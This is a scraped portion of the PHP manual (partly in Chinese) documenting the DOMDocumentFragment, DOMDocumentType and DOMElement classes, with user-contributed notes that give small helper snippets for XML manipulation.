<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
  <title>Books of the other guy..</title>
  <para>
    <row xml:base="/home/didou/book.xml">
       <entry>The Grapes of Wrath</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>0140186409</entry>
      </row>
    <row xml:base="/home/didou/book.xml">
       <entry>The Pearl</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>014017737X</entry>
      </row>
    <row xml:base="/home/didou/book.xml">
       <entry>Samarcande</entry>
       <entry>Amine Maalouf</entry>
       <entry>fr</entry>
       <entry>2253051209</entry>
      </row>
  </para>
</chapter>

User Contributed Notes

nicolas_rainardNOSPAM at yahoo dot fr 12-Jul-2007 04:56
If you use the loadXML() method instead of the load() one (let's say, to process the XML string before loading and parsing it), you will have problems with xinclude(), because the parser will not know where to find the files to include.
Using chdir() before xinclude() will not help.

The solution is to set the documentURI property of the DOMDocument object accordingly to it's original filename, and everything will work fine !

<?php

$xml = file_get_contents($file);
$xml = do_something_with($xml);

$doc = new DOMDocument;
$doc->documentURI = $file;
$doc->loadXML($xml);
$doc->xinclude();

?>


The DOMDocumentFragment class

(PHP 5, PHP 7)

类摘要

DOMDocumentFragment extends DOMNode {
/* 属性 */
/* 继承的属性 */
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 方法 */
public appendXML ( string $data ) : bool
/* 继承的方法 */
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

Table of Contents

  • DOMDocumentFragment::appendXML — Append raw XML data

User Contributed Notes

peter at softcoded dot com 03-May-2017 03:31
DOMDocumentFragment makes it easy to add (or replace)
nodes. Individually creating nodes using DOM methods can
be tedious. Instead, do something like this:

/**
* Create fragment of colgroup
* @param DOMDocument $doc The DOMDocument
* @return DOMDocumentFragment
*/
function makeFragment($d){
  $chunk = <<<HTML
  <colgroup>
    <col class="c1"/>
    <col class="c2"/>
    <col class="c3"/>
    <col class="c4"/>
  </colgroup>
HTML;
  $fragment = $d->createDocumentFragment();
  $fragment->appendXML($chunk);
  return $fragment;
}
Ricki 29-Mar-2011 06:00
DOMDocumentFragment only appears useful if created from a parent DOMDocument eg.

1. $dom = new DOMDocument("1.0","UTF-8");
2. $docFrag = $dom->createDocumentFragment();
3. Now append items to $docFrag
4. Graft $docFrag contents back onto $dom at the desired location

Conversely taking this approach:
1. $dom = new DOMDocument("1.0","UTF-8");
2. $docFrag = new DOMDocumentFragment();
3. Now append items to $docFrag

...will fail on step 3 with a "read only" error as $docFrag is not created as a child of  DOMDocument.

I'm not sure of the reason for this: on the web people have cited security, and others have cited poor design however whatever the reason, it is really limiting when wanting to encapsulating generic independent DocumentFragments into classes for easy grafting to the desired tree. The only workarounds i have seen look expensive from a performance perspective and cumbersome from a coding perspective ie. create a  dummy $dom for temporary use.

(This is valid as of PHP 5.3) I've put this here as i've wasted a lot of time finding it out - I hope this saves others some heartache.

Using new DOMDocumentFramt
matthijs at stdin dot nl 29-Mar-2011 03:06
Note that DOMDocumentFragment is a bit special when it's added to another node. When that happens, not the fragment itself is added as a child, but all of the children of the fragment are moved over to the new parent node.

For example, consider this script:

<?php

/* Create a document and a fragment containing a single node */
$doc = new DOMDocument();
$fragment = $doc->createDocumentFragment();
$fragment->appendChild($doc->createElement('foo'));

/* Now, the foo node is a child of the fragment */
var_dump($fragment->firstChild);

/* After appending the fragment to another node, the children of the
 * fragment will have been transfered to that node (and the fragment is
 * not present in the children list!) */
$doc->appendChild($fragment);
/* So the fragment has no children anymore */
var_dump($fragment->firstChild);
/* But $doc has a single child, which is the foo element, not the
 * fragment */
var_dump($doc->childNodes->length);
var_dump($doc->firstChild);

?>

This produces the following output:

object(DOMElement)#3 (0) {
}
NULL
int(1)
object(DOMElement)#3 (0) {
}


Append raw XML data

  • ? DOMDocumentFragment
  • DOMDocumentType ?
  • PHP Manual
  • DOMDocumentFragment
  • Append raw XML data

DOMDocumentFragment::appendXML

(PHP 5 >= 5.1.0, PHP 7)

DOMDocumentFragment::appendXML — Append raw XML data

说明

public DOMDocumentFragment::appendXML ( string $data ) : bool

Appends raw XML data to a DOMDocumentFragment.

This method is not part of the DOM standard. It was created as a simpler approach for appending an XML DocumentFragment in a DOMDocument.

If you want to stick to the standards, you will have to create a temporary DOMDocument with a dummy root and then loop through the child nodes of the root of your XML data to append them.

参数

data

XML to append.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 Appending XML data to your document

<?php
$doc = new DOMDocument();
$doc->loadXML("<root/>");
$f = $doc->createDocumentFragment();
$f->appendXML("<foo>text</foo><bar>text2</bar>");
$doc->documentElement->appendChild($f);
echo $doc->saveXML();
?>

以上例程会输出：

<?xml version="1.0"?>
<root><foo>text</foo><bar>text2</bar></root>

User Contributed Notes

lpetrov(AT)axisvista.com 20-Jul-2007 05:45
Here is (maybe) a better example:
/**
* Helper function for replacing $node (DOMNode)
* with an XML code (string)
*
* @var DOMNode $node
* @var string $xml
*/
public function replaceNodeXML(&$node,$xml) {
 $f = $this->dom->createDocumentFragment();
 $f->appendXML($xml);
 $node->parentNode->replaceChild($f,$node);
}

Copied from the "PHP5 Dom Based Template" article at:
http://blog.axisvista.com/?p=35


The DOMDocumentType class

(PHP 5, PHP 7)

简介

Each DOMDocument has a doctype attribute whose value is either NULL or a DOMDocumentType object.

类摘要

DOMDocumentType extends DOMNode {
/* 属性 */
readonly public string $publicId ;
readonly public string $systemId ;
readonly public string $name ;
readonly public DOMNamedNodeMap $entities ;
readonly public DOMNamedNodeMap $notations ;
readonly public string $internalSubset ;
/* 继承的属性 */
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 继承的方法 */
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

属性

publicId

The public identifier of the external subset.

systemId

The system identifier of the external subset. This may be an absolute URI or not.

name

The name of DTD; i.e., the name immediately following the DOCTYPE keyword.

entities

A DOMNamedNodeMap containing the general entities, both external and internal, declared in the DTD.

notations

A DOMNamedNodeMap containing the notations declared in the DTD.

internalSubset

The internal subset as a string, or null if there is none. This does not contain the delimiting square brackets.

User Contributed Notes

There are no user contributed notes for this page.


The DOMElement class

(PHP 5, PHP 7)

类摘要

DOMElement extends DOMNode {
/* 属性 */
readonly public bool $schemaTypeInfo ;
readonly public string $tagName ;
/* 继承的属性 */
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 方法 */
public __construct ( string $name [, string $value [, string $namespaceURI ]] )
public getAttribute ( string $name ) : string
public getAttributeNode ( string $name ) : DOMAttr
public getAttributeNodeNS ( string $namespaceURI , string $localName ) : DOMAttr
public getAttributeNS ( string $namespaceURI , string $localName ) : string
public getElementsByTagName ( string $name ) : DOMNodeList
public getElementsByTagNameNS ( string $namespaceURI , string $localName ) : DOMNodeList
public hasAttribute ( string $name ) : bool
public hasAttributeNS ( string $namespaceURI , string $localName ) : bool
public removeAttribute ( string $name ) : bool
public removeAttributeNode ( DOMAttr $oldnode ) : bool
public removeAttributeNS ( string $namespaceURI , string $localName ) : bool
public setAttribute ( string $name , string $value ) : DOMAttr
public setAttributeNode ( DOMAttr $attr ) : DOMAttr
public setAttributeNodeNS ( DOMAttr $attr ) : DOMAttr
public setAttributeNS ( string $namespaceURI , string $qualifiedName , string $value ) : void
public setIdAttribute ( string $name , bool $isId ) : void
public setIdAttributeNode ( DOMAttr $attr , bool $isId ) : void
public setIdAttributeNS ( string $namespaceURI , string $localName , bool $isId ) : void
/* 继承的方法 */
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

属性

schemaTypeInfo

Not implemented yet, always return NULL

tagName

The element name

注释

Note:

The DOM extension uses UTF-8 encoding. Use utf8_encode() and utf8_decode() to work with texts in ISO-8859-1 encoding or Iconv for other encodings.

Table of Contents

  • DOMElement::__construct — Creates a new DOMElement object
  • DOMElement::getAttribute — Returns value of attribute
  • DOMElement::getAttributeNode — Returns attribute node
  • DOMElement::getAttributeNodeNS — Returns attribute node
  • DOMElement::getAttributeNS — Returns value of attribute
  • DOMElement::getElementsByTagName — Gets elements by tagname
  • DOMElement::getElementsByTagNameNS — Get elements by namespaceURI and localName
  • DOMElement::hasAttribute — Checks to see if attribute exists
  • DOMElement::hasAttributeNS — Checks to see if attribute exists
  • DOMElement::removeAttribute — Removes attribute
  • DOMElement::removeAttributeNode — Removes attribute
  • DOMElement::removeAttributeNS — Removes attribute
  • DOMElement::setAttribute — Adds new attribute
  • DOMElement::setAttributeNode — Adds new attribute node to element
  • DOMElement::setAttributeNodeNS — Adds new attribute node to element
  • DOMElement::setAttributeNS — Adds new attribute
  • DOMElement::setIdAttribute — Declares the attribute specified by name to be of type ID
  • DOMElement::setIdAttributeNode — Declares the attribute specified by node to be of type ID
  • DOMElement::setIdAttributeNS — Declares the attribute specified by local name and namespace URI to be of type ID

User Contributed Notes

johnny 03-Mar-2014 03:48
Get html of a node
 $html .= $dom->saveHTML($node);
Janne Enberg 07-Nov-2013 11:02
This page doesn't list the inherited properties from DOMNode, e.g. the quite important textContent property. It would be immensely helpful if it would list those as well.
felix dot klee at inka dot de 26-Feb-2013 03:23
How to rename an element and preserve attributes:

<?php

// Changes the name of element $element to $newName.
function renameElement($element, $newName) {
  $newElement = $element->ownerDocument->createElement($newName);
  $parentElement = $element->parentNode;
  $parentElement->insertBefore($newElement, $element);

  $childNodes = $element->childNodes;
  while ($childNodes->length > 0) {
    $newElement->appendChild($childNodes->item(0));
  }

  $attributes = $element->attributes;
  while ($attributes->length > 0) {
    $attribute = $attributes->item(0);
    if (!is_null($attribute->namespaceURI)) {
      $newElement->setAttributeNS('http://www.w3.org/2000/xmlns/',
                                  'xmlns:'.$attribute->prefix,
                                  $attribute->namespaceURI);
    }
    $newElement->setAttributeNode($attribute);
  }

  $parentElement->removeChild($element);
}

function prettyPrint($d) {
  $d->formatOutput = true;
  echo '<pre>'.htmlspecialchars($d->saveXML()).'</pre>';
}

$d = new DOMDocument( '1.0' );
$d->loadXML('<?xml version="1.0"?>
<library>
  <data a:foo="1" x="bar" xmlns:a="http://example.com/a">
    <invite>
      <username>jmansa</username>
      <userid>1</userid>
    </invite>
    <update>1</update>
  </data>
</library>');

$xpath = new DOMXPath($d);
$elements = $xpath->query('/library/data');
if ($elements->length == 1) {
  $element = $elements->item(0);
  renameElement($element, 'invites');
}

prettyPrint($d);

?>
loopduplicate at burningtoken dot com 22-Apr-2011 02:34
This works perfect for me as well:

<?php $xml = $domElement->ownerDocument->saveXML($domElement); ?>
Anonymous 24-Dec-2010 08:22
you can use DOMNode::nodeValue
DOMElement inherits this public property.

$elem->nodeValue
dpetroff ( at ) gmail.com 04-Dec-2010 11:24
Hi!

Combining all th comments, the easiest way to get inner HTML of the node is to use this function:

<?php
function get_inner_html( $node ) {
    $innerHTML= '';
    $children = $node->childNodes;
    foreach ($children as $child) {
        $innerHTML .= $child->ownerDocument->saveXML( $child );
    }

    return $innerHTML;
}
?>
nawaman at gmail dot com 03-Sep-2009 08:08
The following code shows can text-only content be extracted from a document.

<?php
function getTextFromNode($Node, $Text = "") {
    if ($Node->tagName == null)
        return $Text.$Node->textContent;

    $Node = $Node->firstChild;
    if ($Node != null)
        $Text = getTextFromNode($Node, $Text);

    while($Node->nextSibling != null) {
        $Text = getTextFromNode($Node->nextSibling, $Text);
        $Node = $Node->nextSibling;
    }
    return $Text;
}

function getTextFromDocument($DOMDoc) {
    return getTextFromNode($DOMDoc->documentElement);
}

$Doc = new DOMDocument();
$Doc->loadHTMLFile("Test.html");
echo getTextFromDocument($Doc)."\n";
?>
Daniel Morlock 07-May-2009 09:22
It would be nice to have a function which converts a document/node/element into a string.

Anyways, I use the following code snippet to get the innerHTML value of a DOMNode:

<?php
function getInnerHTML($Node)
{
     $Body = $Node->ownerDocument->documentElement->firstChild->firstChild;
     $Document = new DOMDocument();
     $Document->appendChild($Document->importNode($Body,true));
     return $Document->saveHTML();
}
?>
patrick smith 04-Nov-2008 08:14
Although it may be preferable to use the dom to manipulate elements, sometimes it's useful to actually get the innerHTML from a document element (e.g. to load into a client-side editor).

To get the innerHTML of a specific element ($elem_id) in a specific html file ($filepath):

<?php
$innerHTML = '';
$doc = new DOMDocument();
$doc->loadHTMLFile($filepath);
$elem = $doc->getElementById($elem_id);

// loop through all childNodes, getting html
$children = $elem->childNodes;
foreach ($children as $child) {
    $tmp_doc = new DOMDocument();
    $tmp_doc->appendChild($tmp_doc->importNode($child,true));
    $innerHTML .= $tmp_doc->saveHTML();
}
?>
Pinochet 25-Oct-2008 05:33
Hi to get the value of DOMElement just get the nodeValue public parameter (it is inherited from DOMNode):
<?php
echo $domElement->nodeValue;
?>
Everything is obvious if you now about this thing ;-)
j DOT wagner ( AT ) medieninnovation.com 08-Oct-2008 09:11
Caveat!
It took me almost an hour to figure this out, so I hope it saves at least one of you some time.

If you want to debug your DOM tree and try var_dump() or similar you will be fooled into thinking the DOMElement that you are looking at is empty, because var_dump() says: object(DOMElement)#1 (0) { }

After much debugging I found out that all DOM objects are invisible to var_dump() and print_r(), my guess is because they are C objects and not PHP objects. So I tried saveXML(), which works fine on DOMDocument, but is not implemented on DOMElement.

The solution is simple (if you know it):
$xml = $domElement->ownerDocument->saveXML($domElement);

This will give you an XML representation of $domElement.
Severin 14-Sep-2008 06:18
I wanted to find similar Elements - thats why I built an Xpath-String like this - maybe somebody needs it... its not very pretty - but neither is domdocument :)

<?php

$dom->load($xmlFile))

$xpathQuery = '//*';
$xmlNodes = $xpath->query($xpathQuery);

$pathlist = array();
$attrlist = array();
foreach ($xmlNodes as $node) {

  $depth = $this->_getDomDepth($node);   //get Path-Depth (for array key)
  $pathlist[$depth] = $node->tagName;     // tagname

  $attrs = $node->attributes;
  $attr='';
  $a=0;
  foreach ($attrs as $attrName => $attrNode)  // attributes
            {
              if ($attrName !='reg')
              {
                if ($a++!=0) $attr .= ' and ';
                $attr .= '@'.$attrName.'='."'".$attrNode->value."'";
              }
            }

          $attrlist[$depth] = $attr?'['.$attr.']':'';

          $path = ''; for ($i=0;$i<=$depth;$i++) $path .= '/'.$pathlist[$i].$attrlist[$i];  // the xpath of the actual Element

    // ... now you can go on and user $path to find similar elements
    }
  }
}

 private function _getDomDepth(DomNode $node)
   {
     $r = -2;
     while ($node) {
       $r++;
       $node = $node->parentNode;
     }
     return  $r;
   }
?>
ae.fxx 18-Jul-2008 01:49
Hi there.

Remember to append a DOMNode (or any of its descendants) to a DOMDocument __BEFORE__ you try to append a child to it.

I don't know why it has to be this way but it can't be done without it.

bye


Creates a new DOMElement object

  • ? DOMElement
  • DOMElement::getAttribute ?
  • PHP Manual
  • DOMElement
  • Creates a new DOMElement object

DOMElement::__construct

(PHP 5, PHP 7)

DOMElement::__construct — Creates a new DOMElement object

说明

public DOMElement::__construct ( string $name [, string $value [, string $namespaceURI ]] )

Creates a new DOMElement object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writeable node, use DOMDocument::createElement or DOMDocument::createElementNS.

参数

name

The tag name of the element. When also passing in namespaceURI, the element name may take a prefix to be associated with the URI.

value

The value of the element.

namespaceURI

A namespace URI to create the element within a specific namespace.

范例

Example #1 Creating a new DOMElement

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$element_ns = new DOMElement('pr:node1', 'thisvalue', 'http://xyz');
$element->appendChild($element_ns);
echo $dom->saveXML(); /* <?xml version="1.0" encoding="utf-8"?>
<root><pr:node1 xmlns:pr="http://xyz">thisvalue</pr:node1></root> */

?>

参见

  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace

User Contributed Notes

Fabian dot Blech at gmx dot de 22-Jul-2010 08:30
Remember, Dom-Nodes mustn't start with a number:

allowed:
<t12345t4>Value</t12345t4>

Not allowed:
<12345t4>VALUE</12345t4>
troelskn at gmail dot com 03-Jun-2008 07:46
Note that this function is buggy. You have to manually escape the $value argument with htmlspecialchars.
See: http://bugs.php.net/bug.php?id=31191
adar at darkpoetry dot de 07-May-2007 01:27
If you like to view an element simply do:

<?php
echo htmlentities($element->C14N());
?>

Undocumented but found ;)


Returns value of attribute

  • ? DOMElement::__construct
  • DOMElement::getAttributeNode ?
  • PHP Manual
  • DOMElement
  • Returns value of attribute

DOMElement::getAttribute

(PHP 5, PHP 7)

DOMElement::getAttribute — Returns value of attribute

说明

public DOMElement::getAttribute ( string $name ) : string

Gets the value of the attribute with name name for the current node.

参数

name

The name of the attribute.

返回值

The value of the attribute, or an empty string if no attribute with the given name is found.

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::setAttribute() - Adds new attribute
  • DOMElement::removeAttribute() - Removes attribute

User Contributed Notes

mpalmer at cybersource dot com 09-Nov-2007 03:32
- - - - - - - - - - - - - -

XML Data:
<data>
<Report ID="1">
    <Date>REVIEW</Date>
    <AuthorID>1</AuthorID>
</Report>
<Report ID="2">
    <Date>REVIEW</Date>
    <AuthorID>2</AuthorID>
</Report>
</data>

- - - - - - - - - - - - - -

<?php
$xmlDoc = new DOMDocument();
$xmlDoc->load( 'data.xml' );

$searchNode = $xmlDoc->getElementsByTagName( "Report" );

foreach( $searchNode as $searchNode )
{
    $valueID = $searchNode->getAttribute('ID');

    $xmlDate = $searchNode->getElementsByTagName( "Date" );
    $valueDate = $xmlDate->item(0)->nodeValue;

    $xmlAuthorID = $searchNode->getElementsByTagName( "AuthorID" );
    $valueAuthorID = $xmlAuthorID->item(0)->nodeValue;

    echo "$valueID - $valueDate - $valueAuthorID\n";
}
?>

- - - - - - - - - - - - - -

Output:

1 - REVIEW - 1
2 - REVIEW - 2

- - - - - - - - - - - - - -


Returns attribute node

  • ? DOMElement::getAttribute
  • DOMElement::getAttributeNodeNS ?
  • PHP Manual
  • DOMElement
  • Returns attribute node

DOMElement::getAttributeNode

(PHP 5, PHP 7)

DOMElement::getAttributeNode — Returns attribute node

说明

public DOMElement::getAttributeNode ( string $name ) : DOMAttr

Returns the attribute node with name name for the current element.

参数

name

The name of the attribute.

返回值

The attribute node. Note that for XML namespace declarations (xmlns and xmlns:* attributes) an instance of DOMNameSpaceNode is returned instead of a DOMAttr.

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::setAttributeNode() - Adds new attribute node to element
  • DOMElement::removeAttributeNode() - Removes attribute

User Contributed Notes

lowezar at gmail dot com 28-Feb-2011 08:22
It may also return DOMNameSpaceNode if you`re requesting 'xmlns:_prefix_'. So you`re unable to remove it with removeAttributeNode() which requires DOMAttr as parameter.
Alex 18-Feb-2009 08:33
Just trying to add some clarification: this function will return boolean "false" when there is not a $name attribute :)

Cheers, Alex


Returns attribute node

  • ? DOMElement::getAttributeNode
  • DOMElement::getAttributeNS ?
  • PHP Manual
  • DOMElement
  • Returns attribute node

DOMElement::getAttributeNodeNS

(PHP 5, PHP 7)

DOMElement::getAttributeNodeNS — Returns attribute node

说明

public DOMElement::getAttributeNodeNS ( string $namespaceURI , string $localName ) : DOMAttr

Returns the attribute node in namespace namespaceURI with local name localName for the current node.

参数

namespaceURI

The namespace URI.

localName

The local name.

返回值

The attribute node. Note that for XML namespace declarations (xmlns and xmlns:* attributes) an instance of DOMNameSpaceNode is returned instead of a DOMAttr object.

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::setAttributeNodeNS() - Adds new attribute node to element
  • DOMElement::removeAttributeNode() - Removes attribute

User Contributed Notes

There are no user contributed notes for this page.


Returns value of attribute

  • ? DOMElement::getAttributeNodeNS
  • DOMElement::getElementsByTagName ?
  • PHP Manual
  • DOMElement
  • Returns value of attribute

DOMElement::getAttributeNS

(PHP 5, PHP 7)

DOMElement::getAttributeNS — Returns value of attribute

说明

public DOMElement::getAttributeNS ( string $namespaceURI , string $localName ) : string

Gets the value of the attribute in namespace namespaceURI with local name localName for the current node.

参数

namespaceURI

The namespace URI.

localName

The local name.

返回值

The value of the attribute, or an empty string if no attribute with the given localName and namespaceURI is found.

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::setAttributeNS() - Adds new attribute
  • DOMElement::removeAttributeNS() - Removes attribute

User Contributed Notes

There are no user contributed notes for this page.


Gets elements by tagname

  • ? DOMElement::getAttributeNS
  • DOMElement::getElementsByTagNameNS ?
  • PHP Manual
  • DOMElement
  • Gets elements by tagname

DOMElement::getElementsByTagName

(PHP 5, PHP 7)

DOMElement::getElementsByTagName — Gets elements by tagname

说明

public DOMElement::getElementsByTagName ( string $name ) : DOMNodeList

This function returns a new instance of the class DOMNodeList of all descendant elements with a given tag name, in the order in which they are encountered in a preorder traversal of this element tree.

参数

name

The tag name. Use * to return all elements within the element tree.

返回值

This function returns a new instance of the class DOMNodeList of all matched elements.

参见

  • DOMElement::getElementsByTagNameNS() - Get elements by namespaceURI and localName

User Contributed Notes

rudiger at greatdealsenterprises dot com 12-Jun-2019 11:45
Note that even though getElementsByTagName returns a NodeList which is defined as a list of DOMNodes, you're actually getting a list of DOMElements. That allows to call getElementsByTagName on each of the results.

$tables = $doc->getElementsByTagName('table');
foreach ($tables as $table) {
  $trs = $table->getElementsByTagName('tr');
  // etc...
}
Brennon Brimhall 18-Jan-2017 11:51
Be aware that this function returns all descendants, not just immediate children.
ddkkdd twenty twenty at gmail dot com 08-Sep-2010 03:15
A simple function that uses this method to print the nodes it finds in an xml document. Improvements welcomed.

<?php
function printTags($tag){

  $node = $this->doc->getElementsByTagName($tag);
   for($c = 0; $c<$node->length; $c++){
     $text[$c] =$this->doc->saveXML($node->item($c));
     echo $text[$c];

   }

}
?>


Get elements by namespaceURI and localName

  • ? DOMElement::getElementsByTagName
  • DOMElement::hasAttribute ?
  • PHP Manual
  • DOMElement
  • Get elements by namespaceURI and localName

DOMElement::getElementsByTagNameNS

(PHP 5, PHP 7)

DOMElement::getElementsByTagNameNS — Get elements by namespaceURI and localName

说明

public DOMElement::getElementsByTagNameNS ( string $namespaceURI , string $localName ) : DOMNodeList

This function fetch all the descendant elements with a given localName and namespaceURI.

参数

namespaceURI

The namespace URI.

localName

The local name. Use * to return all elements within the element tree.

返回值

This function returns a new instance of the class DOMNodeList of all matched elements in the order in which they are encountered in a preorder traversal of this element tree.

参见

  • DOMElement::getElementsByTagName() - Gets elements by tagname

User Contributed Notes

spam at chovy dot com 03-Jun-2009 05:36
I had some difficulty stripping all default NS attributes for an ns-uri in one shot, the following will work though...first strip the documentElement namespace, then getElementsByTagNameNS() -- the documentation should reflect that the 2nd argument is actually the name of the tag, not the local namespace prefix as I first expected:

<?php

function strip_default_ns( $xml = null, $ns_uri = 'http://example.com/XML-Foo' ) {
    $ns_local = '';
    $ns_tag = '*';

    if ( empty($xml) ) return false;

    //remove document namespace
    $dom = new DOMDocument();
    $dom->loadXML($xml);
    $dom->documentElement->removeAttributeNS($ns_uri, $ns_local);

    //strip element namespaces
    foreach ( $dom->getElementsByTagNameNS($ns_uri, $ns_tag) as $elem ) {
        $elem->removeAttributeNS($ns_uri, $ns_local);
    }

    return $dom->saveXML();
}

$stripped_xml = strip_default_ns($the_xml);

?>

$stripped_xml can now take advantage of running XPath queries on it for the NULL namespace.


Checks to see if attribute exists

  • ? DOMElement::getElementsByTagNameNS
  • DOMElement::hasAttributeNS ?
  • PHP Manual
  • DOMElement
  • Checks to see if attribute exists

DOMElement::hasAttribute

(PHP 5, PHP 7)

DOMElement::hasAttribute — Checks to see if attribute exists

说明

public DOMElement::hasAttribute ( string $name ) : bool

Indicates whether attribute named name exists as a member of the element.

参数

name

The attribute name.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::getAttribute() - Returns value of attribute
  • DOMElement::setAttribute() - Adds new attribute
  • DOMElement::removeAttribute() - Removes attribute

User Contributed Notes

There are no user contributed notes for this page.


Checks to see if attribute exists

  • ? DOMElement::hasAttribute
  • DOMElement::removeAttribute ?
  • PHP Manual
  • DOMElement
  • Checks to see if attribute exists

DOMElement::hasAttributeNS

(PHP 5, PHP 7)

DOMElement::hasAttributeNS — Checks to see if attribute exists

说明

public DOMElement::hasAttributeNS ( string $namespaceURI , string $localName ) : bool

Indicates whether attribute in namespace namespaceURI named localName exists as a member of the element.

参数

namespaceURI

The namespace URI.

localName

The local name.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::getAttributeNS() - Returns value of attribute
  • DOMElement::setAttributeNS() - Adds new attribute
  • DOMElement::removeAttributeNS() - Removes attribute

User Contributed Notes

There are no user contributed notes for this page.


Removes attribute

  • ? DOMElement::hasAttributeNS
  • DOMElement::removeAttributeNode ?
  • PHP Manual
  • DOMElement
  • Removes attribute

DOMElement::removeAttribute

(PHP 5, PHP 7)

DOMElement::removeAttribute — Removes attribute

说明

public DOMElement::removeAttribute ( string $name ) : bool

Removes attribute named name from the element.

参数

name

The name of the attribute.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::getAttribute() - Returns value of attribute
  • DOMElement::setAttribute() - Adds new attribute

User Contributed Notes

